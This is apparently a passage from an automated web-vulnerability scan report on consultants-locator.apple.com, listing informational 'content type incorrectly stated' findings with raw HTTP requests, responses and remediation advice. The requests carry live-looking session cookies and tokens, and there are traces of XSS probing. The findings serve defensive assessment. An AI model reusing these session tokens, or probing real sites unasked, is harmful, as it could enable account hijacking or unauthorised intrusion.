Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:54 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:54 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 36905
Connection: close
Content-Type: text/html;charset=UTF-8

(function() {

/**
*
* By Marco van Hylckama Vlieg (marco@i-marco.nl)
*
* THIS IS A WORK IN PROGRESS
*
* Many, many thanks go out to Daniel Satyam Barreiro!
* Please read his article about YUI widget development
* http://yuiblog.com/blog/2
...[SNIP]...
11. Content type incorrectly stated  previous
There are 27 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

11.1. http://consultants-locator.apple.com/companySearch.php  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /companySearch.php

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain JSON.

Request

GET /companySearch.php?fuseaction=home.directory&offset=-8&rppg=8&q=10010& HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; Netsparker)
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Host: consultants-locator.apple.com
Cookie: PHPSESSID=f8ae4d8d9ac35356704d1ea74749673a
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 18:50:34 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 113
Connection: close
Content-Type: text/plain;charset=UTF-8

{"count":0,"results":[],"rppg":8,"offset":"-8","page_index":"","error_msg":"No results found","criteria":"near "}
11.2. http://consultants-locator.apple.com/fancybox/fancy_shadow_e.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_e.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_e.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.3. http://consultants-locator.apple.com/fancybox/fancy_shadow_n.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_n.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_n.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.4. http://consultants-locator.apple.com/fancybox/fancy_shadow_ne.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_ne.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_ne.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.5. http://consultants-locator.apple.com/fancybox/fancy_shadow_nw.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_nw.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_nw.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.6. http://consultants-locator.apple.com/fancybox/fancy_shadow_s.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_s.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_s.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.7. http://consultants-locator.apple.com/fancybox/fancy_shadow_se.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_se.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_se.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.8. http://consultants-locator.apple.com/fancybox/fancy_shadow_sw.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_sw.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_sw.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.9. http://consultants-locator.apple.com/fancybox/fancy_shadow_w.png  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /fancybox/fancy_shadow_w.png

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /fancybox/fancy_shadow_w.png HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Proxy-Connection: Keep-Alive
Host: consultants-locator.apple.com
Cookie: ccl=wlm4ljyYempbWYeT79ZVmPtKX6POLBRn04VkLnZARKJCwXvrujM7k6X7tzlgWMgM6ieFx0e4+CkfQT8gmbFrivGtay9INpnLQhiVGrpbauRNHsWrUnnIFkfB5eqko19O1BWnbEQNlAtE5j2N3aEiUs8KtkNy+ibMrOLo1azOMIkZ8y5QJ4JqEgHekO4EPFckneGvYDNXf59niwRqcQT+961VejgsN40kpvM0tzIGAV4PPHnbqJc8+/s64/5X7vd4J54PUbyRJ3NFFfg1bcBgNYsKIu7rg9UPRE6U1jG4uaVq/r+Gv6pYz/+K67oVoCJ/DE7b6Ffwh+6SIiblirQhWvSw/+pqaLqqlP4YoThY9llnlzg5TKrm41h8VZsJDLOGppXfESksue3lfYTja0fxeHr5uehNKqIaUZZTv3roCsC4qp83f7zvf8ntRgf/iXbE9lLE8kZI6mlhnijXi5YAp0pbjEkbulLqMMwvH+juHlfImBgljZknNhhlJ/mCp8mVuCxO+J6KQib9+Mta+0yvbwFqwfEJ7WiTugQ0QdNX4bHUtlQI4+xtf+aHjco4B+O2; geo=US

Response

HTTP/1.0 404 Not Found
Date: Fri, 15 Jul 2011 18:49:58 GMT
Server: Apache/2.2.3 (Red Hat)
Content-Length: 14
Connection: close
Content-Type: text/html; charset=UTF-8

File Not Found
11.10. http://consultants-locator.apple.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60; __utma=154752810.1794820674.1310696627.1310696627.1310696627.1; __utmb=154752810.2.10.1310696627; __utmc=154752810; __utmz=154752810.1310696627.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:23:42 GMT
Server: Apache/2.2.3 (Red Hat)
Last-Modified: Tue, 19 Oct 2010 22:01:51 GMT
ETag: "3f649b-1e66-492ff70a4b1c0"
Accept-Ranges: bytes
Content-Length: 7782
Connection: close
Content-Type: text/plain; charset=UTF-8

..............h...F...........h....... ...........    .. ..............(....... ...........@.............................................................................................................
...[SNIP]...
11.11. http://consultants-locator.apple.com/javascript/fancybox/jquery.fancybox-1.3.4.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/fancybox/jquery.fancybox-1.3.4.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/fancybox/jquery.fancybox-1.3.4.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
